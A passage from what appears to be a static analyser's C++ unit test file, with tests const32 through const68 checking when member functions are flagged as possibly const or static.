ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'Fred::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const32() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::string a[10];\\n\"\n \" void seta() { a[0] = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const33() {\n checkConst(\"class derived : public base {\\n\"\n \"public:\\n\"\n \" void f(){}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Either there is a missing 'override', or the member function 'derived::f' can be static. [functionStatic]\\n\", errout_str());\n }\n\n void const34() { // ticket #1964\n checkConst(\"class Bar {\\n\"\n \" void init(Foo * foo) {\\n\"\n \" foo.bar = this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const35() { // ticket #2001\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" class Derived : public Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName() { return var; }\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:21]: (style, inconclusive) Technically the member function 'N::Derived::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"int N::Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:10:14]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"namespace N\\n\"\n \"{\\n\"\n \" int Base::getResourceName() { return var; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:12:19]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"namespace N\\n\"\n \"{\\n\"\n \" class Base\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" int getResourceName();\\n\"\n \" int var;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int Base::getResourceName() { return var; }\");\n ASSERT_EQUALS(\"[test.cpp:6:21] -> [test.cpp:11:11]: (style, inconclusive) Technically the member function 'N::Base::getResourceName' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const36() { // ticket #2003\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" Blue::Utility::Size m_MaxQueueSize;\\n\"\n \" void SetMaxQueueSize(Blue::Utility::Size a_MaxQueueSize)\\n\"\n \" {\\n\"\n \" m_MaxQueueSize = a_MaxQueueSize;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const37() { // ticket #2081 and #2085\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A(){};\\n\"\n \" std::string operator+(const char *c)\\n\"\n \" {\\n\"\n \" return m_str+std::string(c);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" std::string m_str;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style, inconclusive) Technically the member function 'A::operator+' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"private:\\n\"\n \" long x;\\n\"\n \"public:\\n\"\n \" Fred() {\\n\"\n \" x = 0;\\n\"\n \" }\\n\"\n \" bool isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n 